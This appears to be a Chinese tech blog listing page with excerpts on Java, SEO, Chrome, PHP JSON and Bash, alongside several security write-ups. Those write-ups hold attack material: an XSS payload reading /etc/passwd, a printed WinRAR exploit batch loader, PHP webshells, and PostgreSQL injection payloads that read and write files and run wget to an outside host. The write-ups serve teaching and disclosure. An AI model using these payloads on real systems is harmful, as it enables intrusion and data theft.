• 记一次从xss到任意文件读取

    0x00 前言 xss一直是一种非常常见且具有威胁性的攻击方式。然而,除了可能导致用户受到恶意脚本的攻击外,xss在特定条件下还会造成ssrf和文件读取。 本文主要讲述在一次漏洞挖掘过程中从xss到文件读取的过程,以及其造成的成因。   0x01 漏洞详细 1. XSS 漏洞所在的是一个可以在线编辑简历并导出的一个网站。 首先注册账号后进去,任意选一个模板在线编辑,在编辑简历时插入payload测试 发现被转义了,我们手动修改回去 刷新简历可以看到成功弹窗,证明存在存储型xss 然后使用<h1>标签测试,可以发现h1标签也会被解析 然后我们发现,网站有一个功能可以把简历转成pdf并下载,而在线编辑的是html格式,而且这一转换过程是在后端完成,并且导出的pdf中标签依然是被解析的,如下图所示,导出的pdf中上方的字体也明显变大,说明h1标签被解析 2. SSRF 通过过滤网络请求我们发现这样一个数据包,它将html及里面包含的js代码会发送给后端,后端可能通过渲染html代码从而生成pdf供用户下载   </p> 那后端是如何将html渲染成pdf,执行html中的js呢?   一般可以通过获取后端解析的组件及版本来获取更多信息,从下载的pdf中,可以文件的头部信息可以获取创建者或者pdf文件信息   </p> 可以发现后端使用的wkhtmltopdf组件   wkhtmltopdf官方文档: https://wkhtmltopdf.org/index.html 在他的使用文档中发现其使用 Qt WebKit 浏览器引擎将html渲染成pdf,既然是通过浏览器渲染的,那html中的所有标签也会被浏览器所执行。   所以我们使用 iframe 标签尝试读取内网资源   <iframe src="http://127.0.0.1" width="500" height="100">   </p> 可以看到虽然是403,但是确实是能读取成功的。   </p>   3. 任意文件读取 我们尝试是否能通过请求file协议读取文件   javascript 将在服务器端执行,让我们尝试通过注入以下 javascript 从文件系统中获取文件,然后构造payload进行文件的读取:                 <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script> 通过XMLHttpRequest发起请求,使用file协议读取本地文件,然后document.write将请求的结果覆盖原来html的内容。   </p> 访问pdf,成功读取到文件   </p> 0x03 漏洞成因及修复 所里这里有一个疑问,为什么js会导致本地任意文件读取,如果真是这样的话那我们每个用户在浏览有js的网页时都会造成本地信息泄露?   </p> 其实我们在使用浏览器访问网页并加载js时,浏览器有一套安全机制,使用XMLHttpRequest对象读取本地文件在Web浏览器中是受限的,因为出于安全考虑,浏览器限制了通过XMLHttpRequest对象直接访问本地文件系统。   </p> 如上图所致直接在浏览器执行这段payload会被提示 Not allowed to load local resource   </p>   </p> 前面我们提到后端将html转换为pdf的组件是 wkhtmltopdf,他使用无头运行的Qt WebKit浏览器引擎,但是浏览器默认参数是使用 --enable-local-file-access,即允许访问本地文件,这就是导致可以使用 file 协议进行任意文件的问题。       --disable-local-file-access 不允许一个本地文件加载其他的本地文件,使用命令行参数 --allow 指定的目录除外。--enable-local-file-access 与--disable-local-file-access相反(这是默认设置)--allow 允许加载指定文件夹中的一个或多个文件 同时wkhtmltopdf官方文档中也说明了不要将 wkhtmltopdf 与任何不受信任的 HTML 一起使用   </p> 即使使用了 --disable-local-file-access,攻击者也可以利用预构建二进制文件中的 CVE 的攻击者可能能够绕过此设置。     文章来源:奇安信攻防社区(Duck)原文地址:https://forum.butian.net/share/2409...

    2023-09-01 197
  • WinRAR再爆0 day漏洞

    WinRAR再爆0 day漏洞,已被利用超过4个月。  Winrar是一款免费的主流压缩文件解压软件,支持绝大部分压缩文件格式的解压,全球用户量超过5亿。Group-IB研究人员在分析DarkMe恶意软件时发现WinRAR在处理ZIP文件格式时的一个漏洞,漏洞CVE编号为CVE-2023-38831。攻击者利用该漏洞可以创建欺骗性扩展的诱饵文件来隐藏恶意脚本,即将恶意脚本隐藏在伪装为.jpg、.txt和其他文件格式的压缩文件中,并窃取用户加密货币账户。 研究人员在分析DarkMe恶意软件时发现了一些可疑的ZIP文件。Group-IB在8个加密货币交易的主流论坛上发现了这些恶意ZIP文件,如图1所示: 图1. 交易论坛发布的帖子 CVE-2023-38831漏洞序列图如图2所示: 图2. CVE-2023-38831漏洞序列图 所有压缩文件都是用同一方法创建的,结构相同,包括一个诱饵文件和一个包含恶意文件和未使用文件的文件夹。当用户打开恶意压缩文件后,受害者机会看到一个图像文件和一个相同文件名的文件夹,如图3所示。 图3. 恶意zip文件示例 如果受害者打开伪装为图像的诱饵文件,恶意脚本就会执行攻击的下一阶段,如图4所示: 图4. 攻击流程图 脚本的主要作用是进入攻击的下一阶段,这是通过运行最小化窗口来完成的。然后搜索两个特定文件“Screenshot_05-04-2023.jpg”和 “Images.ico”。JPG文件是受害者打开的图像,“Images.ico”是用来提取和启动新文件的SFX CAB压缩文件。恶意脚本示例如下: @echo off if not DEFINED IS_MINIMIZED   set IS_MINIMIZED=1 && start "" /min "%~dpnx0" %* && exit   cd %TEMP%   for /F "delims=" %%K in ('dir /b /s "Screenshot_05-04-2023.jpg"') do     for /F "delims=" %%G in ('dir /b /s "Images.ico"') do       WMIC process call create "%%~G" && "%%~K" && cd %CD% && exit Exit 为了解漏洞工作原理,研究人员创建了2个与发现的恶意压缩文件结构相同的压缩文件。两个文件都包含图像文件,其中一个压缩文件中还包含一个存储脚本的内部文件夹,可以触发消息展示框。然后,研究人员修改了其中一个文件使其与恶意压缩文件一样。然后,比较WinRAR在解压不同压缩文件时的区别。 研究人员主要想确定在打开解压文件时会在%TEMP%/%RARTMPDIR%文件夹中创建什么文件。在原始的zip文件中,只会创建image.jpg文件。在恶意文件zip文件中,其中的文件夹内容也会被提取。 图5. 不同zip文件解压比较 也就是说,攻击发生在WinRAR尝试打开用户想要访问的文件时。ShellExecute函数接收到了打开文件的错误参数。图像文件名与搜索不匹配,引发其被跳过。然后就发现了批处理文件,并执行。 图6 漏洞复现 8月15日该漏洞被分配了CVE编号,但该漏洞从2023年4月开始就被在野利用。研究人员建议WinRAR用户更新到最新的v 6.23版本。 参考及来源:https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/...

    2023-08-30 232
  • Java static关键字 – 变量、方法、块、类和导入语句

    文章目录 1. 静态变量 2. 静态方法 3. 静态导入语句 4.静态代码块 5. 静态内部类 六、总结 Java中的static关键字可以应用于变量、方法、块、导入和内部类。在本教程中,我们将通过示例来了解在这些地方使用static关键字的效果。 1. 静态变量 要声明变量为静态,请在变量声明中使用static关键字。静态变量语法为: 访问修饰符 static 数据类型 变量名; 例如,Integer类型的公共静态变量就是这样声明的。 public static Integer staticVar; 静态变量最重要的是它们属于类级别。这意味着运行时变量只能有一份副本。 当您在类定义中定义静态变量时,类的每个实例都可以访问该单个副本。类的单独实例不会像非静态变量那样拥有自己的本地副本。 public class JavaStaticExample { public static void main(String[] args) { DataObject objOne = new DataObject(); objOne.staticVar = 10; objOne.nonStaticVar = 20; DataObject objTwo = new DataObject(); System.out.println(objTwo.staticVar); //10 System.out.println(objTwo.nonStaticVar); //null DataObject.staticVar = 30; //Direct Access System.out.println(objOne.staticVar); //30 System.out.println(objTwo.staticVar); //30 }} class DataObject { public static Integer staticVar; public Integer nonStaticVar;}   输出: 10 null 30 30 请注意我们如何将值更改为 30,两个对象现在都看到更新后的值 30。 您应该注意到的另一件事是我们如何能够使用其类名访问静态变量:DataObject.staticVar。我们不需要创建任何实例来访问static变量。它清楚地表明静态变量属于类范围。 2. 静态方法 要声明静态方法,请static在方法声明中使用关键字。静态方法语法为: 访问修饰符 static 返回值类型 方法名; 例如,返回Integer类型的公共静态变量就是这样声明的。 public static Integer staticVar; public static Integer getStaticVar(){ return staticVar;}   以下几个问题需要注意: 您只能访问静态方法内的静态变量。如果尝试访问任何非静态变量,将生成编译器错误,并显示消息“Cannot make a static reference to the non-static field nonStaticVar”。 静态方法可以通过其类引用来访问,并且不需要创建类的实例。尽管您也可以使用实例引用进行访问,但与通过类引用进行访问相比,它没有任何区别。 静态方法也属于类级别范围。 public class JavaStaticExample { public static void main(String[] args) { DataObject.staticVar = 30; //Direct Access Integer value1 = DataObject.getStaticVar(); //access with class reference DataObject objOne = new DataObject(); Integer value2 = objOne.getStaticVar(); //access with instance reference System.out.println(value1); System.out.println(value2); }} class DataObject{public Integer nonStaticVar;public static Integer staticVar; //static variable public static Integer getStaticVar(){ return staticVar; }}   输出: 30 30 3. 静态导入语句 普通的导入声明用于从包中导入类,以便可以在不使用包引用的情况下使用它们。类似地,静态导入声明用于从类中导入静态成员,并允许在不使用类引用的情况下使用它们。 静态导入语句也有两种形式:单个静态导入和静态导入所有成员。单个静态导入声明从一个类型中导入一个静态成员。静态导入所有成员声明导入一个类型的所有静态成员。 //Single-static-import declaration: import static <<package name>>.<<type name>>.<<static member name>>; //Static-import-on-demand declaration: import static <<package name>>.<<type name>>.*;   例如,System.out //Static import statement import static java.lang.System.out; public class JavaStaticExample{public static void main(String[] args){DataObject.staticVar = 30; out.println(DataObject.staticVar); //Static import statement example }}class DataObject{ public static Integer staticVar; //static variable}   输出: 30 4.静态代码块 静态代码块是类初始化代码的一部分,用static关键字包装起来。 public class Main { //static initializer static { System.out.println("Inside static initializer"); } }   当类被加载到内存中时,静态代码块就会被执行。一个类可以有多个静态块,这些静态块将按照它们在类定义中出现的顺序执行。 import static java.lang.System.out; class DataObject{public Integer nonStaticVar;public static Integer staticVar; //static variable //It will be executed firststatic {staticVar = 40;//nonStaticVar = 20; //Not possible to access non-static members} //It will be executed second static { out.println(staticVar); }}   输出: 40 5. 静态内部类 在Java中,你可以将一个类声明为静态内部类。就像其他静态成员一样,嵌套类与类的作用域相关联,因此可以在没有外部类对象的情况下访问内部静态类。 public class JavaStaticExample { public static void main(String[] args) { //Static inner class example System.out.println( DataObject.StaticInnerClas.innerStaticVar ); } } class DataObject { public Integer nonStaticVar; public static Integer staticVar; //static variable static class StaticInnerClas { Integer innerNonStaticVar = 60; static Integer innerStaticVar = 70; //static variable inside inner class }}   请注意,静态内部类无法访问外部类的非静态成员。它只能访问外部类的静态成员。 public class JavaStaticExample { public static void main(String[] args) { //Static inner class example DataObject.StaticInnerClas.accessOuterClass(); } } class DataObject { public Integer nonStaticVar; public static Integer staticVar; //static variable static {staticVar = 40;//nonStaticVar = 20; //Not possible to access non-static members} public static Integer getStaticVar(){return staticVar;} static class StaticInnerClas { public static void accessOuterClass() { System.out.println(DataObject.staticVar); //static variable of outer class System.out.println(DataObject.getStaticVar()); //static method of outer class } }}   输出: 40 六、总结 让我们总结一下Java中关于static关键字的用法 静态成员属于类。无需创建类实例即可访问静态成员。 静态成员(变量和方法)只能在静态方法和静态代码块内访问。 不能在静态方法、静态代码块和静态内部类内部访问非静态成员。 一个类可以有多个静态代码块,它们将按照它们在类定义中出现的顺序执行。 仅当一个类在外部类中声明为内部类时,它才可以是静态的。 静态导入可用于导入类中的所有静态成员。无需任何类引用即可引用这些成员。   ...

    2023-08-29 295
  • 内网渗透:Kerberos认证协议安全性分析

    前言 要想进行内网渗透,可以说必须了解kerberos协议,可以说这是一个基础,本文总结了kerberos的认证流程以及可能出现的攻击方式。 Kerberos认证 kerberos认证是什么? Kerberos 是一种由 MIT(麻省理工大学)提出的一种网络身份验证协议。它旨在通过使用密钥加密技术为客户端/服务器应用程序提供强身份验证。 Kerberos一词来源于希腊神话——一条凶猛的三头保卫神犬,用这个名字可能意味保护认证过程中的安全。 同时,Kerberos 是一种基于加密 Ticket 的身份认证协议。 kerberos的组成部分 Kerberos 主要由三个部分组成:Key Distribution Center (即KDC)、Client 和 Service。如下图所示: 下面来看看每个部分具体的作用是什么 KDC:密钥分发中心,负责存储用户信息,管理发放票据,是Kerberos的核心部分。KDC默认是安装在域控中的。 由上图中可以看到 KDC 又分为两个部分: Authentication Server:AS 的作用就是验证 Client 端的身份(确定你是身份证上的本人),验证通过就会给一张 TGT(Ticket Granting Ticket)票给 Client。 Ticket Granting Server:TGS 的作用是通过 AS 发送给 Client 的票(TGT)换取访问 Server 端的票(上车的票 ST)。ST(ServiceTicket)也有资料称为 TGS Ticket,为了和 TGS 区分,在这里就用 ST 来说明。 KDC 服务框架中包含一个 KRBTGT 账户,它是在创建域时系统自动创建的一个账号,你可以暂时理解为他就是一个无法登陆的账号,在发放票据时会使用到它的密码 HASH 值。 client:想访问某个server的客户端,通常是域内主机。 server:提供某种业务的服务,如http,mysql等 域控内还存在AD,也就是活动目录,用于存储用户,用户组,域相关的信息。   kerberos的认证流程 从上图可以看出整个认证过程总共分成了6步,分为下面三个阶段。 AS_REQ & AS_REP TGS_REQ & TGS_REP AP-REQ & AP-REP 下面来详细看看各个阶段所完成的工作: AS_REQ 当域内的某个client想要访问某个服务时,输入用户名和密码,此时客户端本机的 Kerberos 服务会向 KDC 的 AS 认证服务发送一个AS_REQ认证请求 请求内容是:Client 的哈希值 NTLM-Hash 加密的时间戳以及 Client-info、Server-info 等数据,以及一些其他信息。 注意这里传递是用clinet的哈希值加密的内容,而不是传递了client的明文密码 AS_REP AS收到请求后,AS 会先向活动目录 AD 请求,询问是否有此 Client 用户,如果有的话,就会取出它的 NTLM-Hash,并对AS_REQ请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密 ...

    2023-08-28 218
  • 服务器端漏洞篇之文件上传漏洞专题

    今天是之前梨子从来没发过的文件上传专题。 声明 该系列共三篇,26个专题(截止2023.8.10),其中有21个专题的大部分内容已于2021年7-9月首发于安全客,由于某些原因,该系列后续更新部分梨子打算转投Freebuf社区(下称"社区")。因后续更新部分的部分内容为这21个专题中的,故在转投社区时会将更新部分一并加入对应的专题中,所以会与发布于安全客的版本略有出入,会更完整,望周知。 本系列介绍 PortSwigger是信息安全从业者必备工具burpsuite的发行商,作为网络空间安全的领导者,他们为信息安全初学者提供了一个在线的网络安全学院(也称练兵场),在讲解相关漏洞的同时还配套了相关的在线靶场供初学者练习,本系列旨在以梨子这个初学者视角出发对学习该学院内容及靶场练习进行全程记录并为其他初学者提供学习参考,希望能对初学者们有所帮助。 梨子有话说 梨子也算是Web安全初学者,所以本系列文章中难免出现各种各样的低级错误,还请各位见谅,梨子创作本系列文章的初衷是觉得现在大部分的材料对漏洞原理的讲解都是模棱两可的,很多初学者看了很久依然是一知半解的,故希望本系列能够帮助初学者快速地掌握漏洞原理。 服务器端漏洞篇介绍 burp官方说他们建议初学者先看服务器漏洞篇,因为初学者只需要了解服务器端发生了什么就可以了 服务器端漏洞篇 - 文件上传漏洞专题 什么是文件上传漏洞? 文件上传漏洞就是在未经充分验证像文件名、类型、内容或大小时允许用户上传文件到文件系统。这就导致会有用户在一个简单的图片上传功能点在没有严格限制的情况下上传任意具有潜在危险的文件,甚至包括含有rce操作的脚本文件。 文件上传漏洞有什么影响? 文件上传漏洞的影响通常取决于以下两个因素: 网站未验证文件的哪个方面,比如大小、类型、内容等等 文件上传成功后有那些限制 最坏的情况就是,网站未验证文件的类型,并且允许将这类文件(如.jsp或.php)作为代码执行。这种情况下,攻击者可以悄悄地上传一个作为webshell功能的代码文件,从而授予它们服务器完全的控制权。如果网站未验证文件名,就可导致攻击者通过上传同名文件的方式轻而易举地覆盖关键文件。如果站点还存在目录穿越漏洞,攻击者甚至可以覆盖服务器上任意位置的任意文件。如果网站没有保证文件大小在阈值范围内,攻击者可发动DOS攻击并借此填满磁盘。 文件上传漏洞是如何产生的? 正常来讲,开发者不会对上传不进行任何限制,但是他们只是做了他们认为很强的限制。例如,开发者将危险的文件类型设置进黑名单,但是在检测文件扩展名的时候却忽略了解析差异。即使设置了黑名单,其实还是会忽略到很多危险的未知文件类型。有的情况下,站点仅通过验证属性的方式检测文件类型,这很容易通过burp抓包修改。这就产生了主机与目录之间的差异,从而被利用。 web服务器(中间件)是如何处理静态文件的请求的? 早些年,网站是完全由静态文件构成的,请求的路径与服务器上的文件目录是1:1对应的。但是随着技术的发展,网站越来越动态,用户请求的路径通常与文件系统没有直接关系,并且网站也在同时处理一些静态文件,如图表、图像之类的。网站处理静态文件的过程都是大致相同的,用户请求即返回对应的静态文件。有时候站点通过解析请求中的路径识别文件的扩展名。站点通常是通过将扩展名与MIME类型之间的预配置列表进行对比的方式确定文件的类型。后面会发生什么取决于文件类型和服务器的配置。 如果文件类型是不可执行的,如图像或html文件,服务器则只会在http响应中返回文件内容给客户端。 如果文件类型是可执行的,如php文件,并且服务器被配置为允许执行这种类型的文件,服务器会先根据请求中的头和参数分配变量,然后带入脚本运行,然后再将输出通过http响应发送给客户端。 如果文件类型是可执行的,但是服务器被配置为不执行这类文件,服务器一般会返回报错。不过有时候这些可执行文件的内容会以纯文本的形式发送给客户端,这就可能存在如泄漏源代码或其他敏感信息之类的风险。 利用不受限制的文件上传来部署webshell 从安全的角度看,最糟糕的情况就是网站允许用户上传动态脚本文件,如php、java或python文件并且还配置为将它们作为代码执行。这样我们部署webshell就非常容易了。如果成功上传了webshell,我们就可能完全控制服务器。这就意味着你可以读写任意文件、泄漏敏感数据,甚至可以利用服务器对内部基础设施及其他服务器发起攻击。例如,下面这行php代码可用于从服务器中读取任意文件: <?php echo file_get_contents('/path/to/target/file'); ?> 上传后,就会在响应中接收到目标文件的内容。一个更加通用的webshell可能长这样: <?php echo system($_GET['command']); ?> 然后我们通过传入不同的请求参数就可以执行任意命令: GET /example/exploit.php?command=id HTTP/1.1 配套靶场:通过上传webshell的rce 题目说有一个存在漏洞的图片上传点,并且它不会对上传的文件做任何限制。上传图片的功能点要用给的账号登进去。 我们发现它并没有限制上传文件的类型,所以我们直接上传一个txt,然后修改文件的内容,并且修改扩展名和文件类型。 <?php echo file_get_contents('/home/carlos/secret'); ?> 然后我们通过访问头像即可触发执行我们上传的php脚本,从而看到/home/carlos/secret中的答案 成功解题! 利用有缺陷的验证机制的文件上传 有缺陷的文件类型验证 当我们提交HTML表单时,浏览器通常会在一个content-type为application/x-www-form-url-encoded的POST请求中发送提供的数据。这种方式适用于发送如姓名、地址等简单文本,而不适合发送大量二进制数据,如图像文件或pdf文档。这种情况下,content-type为multipart/form-data就成为了首选。我们设想一个包含上传的图像、图像描述还有用户名字段的表单,它的请求包可能长这样: POST /images HTTP/1.1 Host: normal-website.com Content-Length: 12345 Content-Type: multipart/form-data; boundary=---------------- ...

    2023-08-28 211
  • 如何在短时间内迅速增加网站反链数量?

    反链是指其他网站链接到你的网站的链接,也被称为入站链接或反向链接。反链是网站SEO优化中非常重要的一部分,因为它可以提高网站的权威性和网站在搜索引擎中排名。那么,那如何增加反链数量呢?现帮你梳理如下: 要在短时间内迅速增加网站的反链,可以考虑以下几个方法: 1、内容质量优化:提供有价值、有吸引力的内容是吸引其他网站链接的关键。如果你提供有价值、高质量的内容,其他网站自然会愿意链接到你的网站。因此,要注重网站内容的质量和相关性,尽可能提供有价值的信息和资源。网站的内容可以包括文章、视频、图片等相关资料,要保持内容的更新和多样性,确保一个访客到通过搜索引擎进入到你的网站,阅读了你所更新的内容,具有一定的可读性,所以说定期发布新的原创内容尤为重要,可以吸引更多的访问者和链接。 2、社交媒体推广:积极利用社交媒体平台分享你的网站内容,并邀请用户积极参与。在社交媒体上分享你的网站链接,可以吸引更多的用户点击你的链接,并分享给他们的朋友和关注者。因此,要积极参与社交媒体,建立个人或公司的社交媒体账号,增加网站曝光度和链接数量。你可以在社交媒体上发布与网站相关的内容,包括文章、图片、视频等你网站的资料,吸引用户点击你的链接。 3、参与行业社区和论坛:主动参与相关行业的社区和论坛,发表一些高质量的帖子和评论,与其他人分享经验和网友们互动,也是增加反链数量的一种有效方式。在帖子中附加你的网站链接,以便其他用户访问。但请注意,不要进行过度的广泛宣传,而应以提供有价值的信息为主,过度带链接会引起网站进入沙盒状态。 4、宣传推广增加反链:可以通过广告、公关活动等方式宣传推广你的网站,让更多人知道你的网站,并链接到你的网站,当然这种成本较高,对于一些个人站长来说,并不是太适全。这种方式需要一定的时间、经费投入和策划,但可以带来更多的流量和反链。你可以通过社交媒体、搜索引擎营销、线下推广等方式宣传你的网站,吸引更多的用户和链接。 5、与其他网站建立友情链接:互相链接,也是增加反链数量的有效方式。但要注意,友情链接的质量较为重要。要选择老站,收录量较大站点与建立链接,避免与低质量或垃圾链接建立关联,否则会对网站SEO产生负面影响,老站本身在线时间较长,加之收录量大,受搜索引擎的更加信任,从而能辅助给目标站带来一定的信任值。 总结增加反链数量是网站SEO优化中非常重要的一部分。要注重网站内容的质量和原创图文并茂内容更新,积极参与社交媒体和相关论坛、博客等网站,宣传推广你的网站,并与其他网站建立友情链接,才能提高网站的权威性和更好的名次。同时,要注意反链的质量,避免与低质量或垃圾链接建立关联,否则会对网站SEO产生负面影响,对网站起不到较好的辅助拉升作用。...

    2023-08-28 204
  • 谷歌浏览器怎么下载安装?(谷歌浏览器最新下载方法)

    Google Chrome是一款由Google公司开发的网页浏览器,无论是稳定性、速度、安全性,都是它的优点,我们在工作中使用谷歌Chrome能大大的提高我们的工作效率。对于有些用户不知道怎么下载谷歌Chrome!下面小编就详细的给大家介绍谷歌Chrome下载安装方法。   谷歌Chrome浏览器怎么下载安装? 第一步:我们在浏览器地址栏输入下载地址:https://www.google.cn/chrome/,或是在百度搜索框中输入关键字“chrome”,现在会出来很多,我们需要找到Google官方官网,打开它;   第二步:进入官网后,点击“下载Chrome”按钮;   如果您下载以后找不到了,可以点击右上角的三个带你找到下载。要是没有下载,进行手动下载chrome链接。   第三步:此时双击打开文件,然后等待安装,要是中间有弹出窗口,点击“运行”或是“是”、“允许安装”,一律同意就行。   谷歌Chrome浏览器优点 1、Chrome启动速度快、浏览器速度快、界面简单; 2、内置原装网页翻译,方便大家浏览器外文网站,所有插件的按钮都出现在上方,反应快,网银要是不兼容可以装个ietab就可以。 3、同步功能,专为Chrome提供的服务,无论我们是在手机端还是电脑端,都是可以同步的,非常的方便。 4、书签,书签在地址栏的下方,想要收藏的网站,直接收藏,下载想要再次访问时,直接点击打开即可访问,超级的方便。 5、更新速度快,谷歌Chrome更新速度非常快,各种新功能才能尽快的推出、各种bug才能迅速修复。有了快捷更新,对于网页新的技术也能尽快支持。 总结:以上就是谷歌Chrome下载安装的方法,如果您也想要使用谷歌Chrome,那么按照以上的方法进行操作即可,小编使用习惯了谷歌浏览器,就不再想用其他的浏览器啦!确实非常的好用。...

    2023-08-26 296
  • json_decode() 和 json_encode() 函数的区别和用法

    JSON是一种轻量级的数据交换格式,常用于前后端数据的传输和存储。JSON由键值对组成,其中键必须是字符串,值可以是字符串、数字、布尔值、数组、对象或null。在编程中,我们经常需要将JSON格式的数据转换为程序可用的数据类型,称为解码或反序列化操作。在PHP中,可以使用json_decode()函数进行这个操作。 例如,我们有以下JSON字符串: ``` $json_str = '{"name":"Tom","age":18,"is_student":true}'; ``` 我们可以使用json_decode()函数将它转换为PHP对象或关联数组,如下所示: ``` $php_obj = json_decode($json_str); // 返回一个stdClass对象 $php_arr = json_decode($json_str, true); // 返回一个关联数组 ``` 注意,第二个参数为true时,json_decode()函数将返回关联数组,否则返回stdClass对象。如果JSON字符串无效,json_decode()函数将返回null。   而在编程中我们也经常需要将数据转换为JSON格式进行传输和存储。在PHP中,可以使用json_encode()函数将PHP对象或数组转换为JSON字符串。 例如,我们有以下PHP数组: ``` $person = array("name" => "Tom", "age" => 18, "is_student" => true); ``` 我们可以使用json_encode()函数将它转换为JSON字符串,如下所示: ``` $json_str = json_encode($person); // 返回 '{"name":"Tom","age":18,"is_student":true}' ``` 注意,json_encode()函数可以接受多个参数,其中第二个参数指定是否格式化输出,第三个参数指定JSON中字符串的引号风格,第四个参数指定JSON编码的深度等。有关更多详细信息,请参阅PHP文档。...

    2023-08-26 227
  • 又记一次安服仔薅洞实战-未授权之发现postgresql注入

    上次文章又过去了小半年的时间,忙了小半年也没有什么优秀的东西分享就一直沉寂着,这次我带着实战干货又回来啦!这一次也是干公司的项目,是关于一个登录框的渗透测试,也不逼逼了开始渗透 0x00前言 距离上次文章又过去了小半年的时间,忙了小半年也没有什么优秀的东西分享就一直沉寂着,这次我带着实战干货又回来啦!这一次也是干公司的项目,是关于一个登录框的渗透测试,也不逼逼了开始渗透 首先映入眼帘的是个登录框 老样子找未授权和弱口令,不过这一次这个站有阿里云waf就没有扫目录啦。弱口令admin:123456,很显然开发没这么蠢 这时候应该思考什么,为什么这个站只有登录没有注册,那要怎么注册呢,一定存在一个注册的地方但不在这里。这时候试一下未授权,将目录中的login改成admin试试,果然进来了 在翻一翻,左边企业目录没有数据和修改密码都因为是未授权进来没有什么数据,那目光只能放在帮助上了 帮助处存在两个手册,先来翻一翻这两个手册 先查看第一个手册物业操作手册,可以知道两个信息,初始账户密码都是123456以及有一个手机端但是不知道是APP还是微信公众号还是小程序。 再查看第二个手册企业操作手册,果然这里发现了原来是有个微信公众号里面的小功能呀。 整理一下思路,存在微信公众号以及初始账号密码是123456,这时去爆破看看账号密码咯~ 0x01暴力破解 在翻手册中看到是企业用户那应该用的是人名的拼音作为账号,密码就是123456去试试 果然存在账号密码是123456可惜只能用手机号登录,高危漏洞先记录一个暴力破解存在。 0x02敏感信息泄漏 再看看历史数据包发现了一个有趣的东西,一个白给的数据泄漏 输入pass看看有没有信息,白给了一堆账号密码,不过都利用不了就放着了,再记一个敏感信息高危了 这里web没啥东西了,去微信公众号看看去,根据之前未授权查看的帮助文档顺利找到了这个公众号,一步步点下来终于找到注册的地方咯 0x03用户名枚举 账号注册先放一边,又看到了熟悉的操作手册,点开来看看 点进去看一看,发现了几个电话号码,通过web端的验证看看 通过web端的手机登录,果然存在该用户,喜提手机号枚举中危 0x04PDSQL注入 回归企业用户注册正题来了,接下来干货满满 点击搜索按钮抓包,发现一个搜索的数据包通过对单引号报错以及双单引号闭合,发现了一个sql注入 尝试输入payload,好家伙存在阿某云WAF,sqlmap也跑不了了,只能手注入了 先通过报错查看是什么类型的数据库,通过查询报错语句最终定位是PostgreSQL,这属实有点少见噢 先查看报错的地方来定位sql语句再来构造报错语句,在参数后面添加'11可以看到下面报错sql语句长这样 SELECT * FROM tbl_org WHERE(name '%%' AND type=400) ,传入的数据在两个百分号之间。 一开始我尝试在参数后面添加';payload--+,这样子堆叠注入结果是被拦截了,没办法了只能请大哥-坏学生来帮帮我,不愧是大哥两个小时秒了,给了我一个语句'||(to_date(substring(current_database()from 1 for 1),'qwe'))||'和一张图片 现在来分析一下这个语句,单引号'是用来闭合原本语句中的前单引号',符号“||”则是用来拼接字符串,意思就是在PDSQL中,一个Select语句可以同时执行多个语句。继续看to_date这个函数的用法 这个函数是用来出错的,substring(current_database)通过将数据库名字拆成一个个字符,然后与后面的qwe进行比较,如果出错就会报出数据库的名字,通过修改from后面的数字可以修改数据库的第几位字符,这样就把数据库名字给注入出来了。tip:这里的语句需要使用URL编码加密过WAF不然会被拦截。查看历史数据包内容发现在加载小区的时候也进行了一次查询,同理在该参数也存在SQL注入,高危漏洞又+1 0x05任意文件读取 继续查看PDSQL的一些高级注入手法发现,可以读取文件和写入文件,通过 '||(to_date(pg_read_file('/etc/passwd',2,20),'qwe'))||',即可读取文件了,该方法同理也是用一个个字符报错得出的,通过修改文件后面的第一位数字就可以读取,任意文件读取高危漏洞+1。 0x06任意文件写入 使用PDSQL的文件写入方法,利用payload:1');COPY (select 1234) to '/tmp/2.jsp';--,并且用URL编码加密在tmp目录下2.jsp文件写入1234 然后使用'||(to_date(pg_read_file('/tmp/2.jsp',4,20),'qwe'))||'查询tmp目录下的2.jsp,已经上传成功了 如果使用'||(to_date(pg_read_file('/tmp/3.jsp',4,20),'qwe'))||'读取tmp目录下3.jsp是不存在的 这里不知道网站的绝对路径就只能证明可以上传了,因为网站是用的spring框架,不知道是在哪里打的jar包。有一个小技巧是通过读取/root/.bash_history查看历史命令就可以看到项目的具体路径不过太麻烦了只能一个个字符读取,索性放弃了。 0x07命令执行 使用payload:1');CREATE TABLE zz(zz_output text);COPY zz FROM PROGRAM 'wget http://XX.XX.ceye.io/1.jpg';--远程执行命令看看ceye平台有无回显,可惜数据库服务器不给力,直接退出进程了。 期间还试过注册了账号,不过需要审批才能使用功能只能登陆,以及尝试利用信息收集到的手机号再结合我登入成功的数据包替换返回包尝试任意用户登陆,不过出了点问题数据加载不出来,估计存在二次校验。 秉持着可持续发展原则,这次渗透就到这里了,鸣谢我同事潇师傅以及坏学生大佬的帮助~咱们下次再见...

    2023-08-25 258
  • 使用蓝牙替代WiFi热点实现低功耗分享网络

    在热点分享里面,设置,打开“蓝牙共享网络”,这样子不需要打开WiFi热点,只要蓝牙两个手机连着就能使用网络。耗电量远远低于WiFi热点。 速率900kbps,大概意思是90kb/s吧?我是通过除以十算的。看视频最低300才不卡,这个速率,看看网页,日常聊天够用了。 ...

    2023-08-25 225
  • Bash脚本编程入门

    Shell 是 Linux 的核心部分,它允许你使用各种诸如 cd、ls、cat等的命令与 Linux 内核进行交互。 Bash 是 Linux 上众多可用的 Shell 中的一个。这些 Shell 主要的语法基本相同,但并非完全一样。Bash 是目前最受欢迎的 Shell,并在大多数 Linux 发行版中被设为默认 Shell。 当你打开一个终端或 SSH 会话时,即使你无法真切地看到它,你其实已经在运行着一个 Shell。 当你输入一个命令,它会被 Shell 解释。如果命令和语法是正确的,它就会被执行,否则你会看到一个错误。 当你可以直接运行 Linux 命令时,为什么还需要 Bash 脚本? 你可以直接在终端输入命令,它们就会被执行。 $ echo "hello world" hello world 并且,同样的操作也可以在脚本中进行: $ cat >> script.sh #!/bin/bash echo "hello world" $ bash script.sh hello world 那么,为什么我们需要 Shell 脚本呢?因为你不必一遍又一遍地输入同一个命令,你只需运行 Shell 脚本即可。 此外,如果你的脚本中有复杂的逻辑,把所有的命令都输入到终端中可能并不是一个好主意。 例如,如果你输入下面的命令,它会奏效,但这并不容易理解。不断地输入相同的命令(甚至要在 Bash 历史记录中搜索)会造成困扰。 if [ $(whoami) = 'root' ]; then echo "root"; else echo "not root"; fi 相反,你可以把命令放进 shell 脚本中,这样就更容易理解并且可以轻松运行了: #!/bin/bash if [ $(whoami) = 'root' ]; then echo "You are root" else echo "You are not 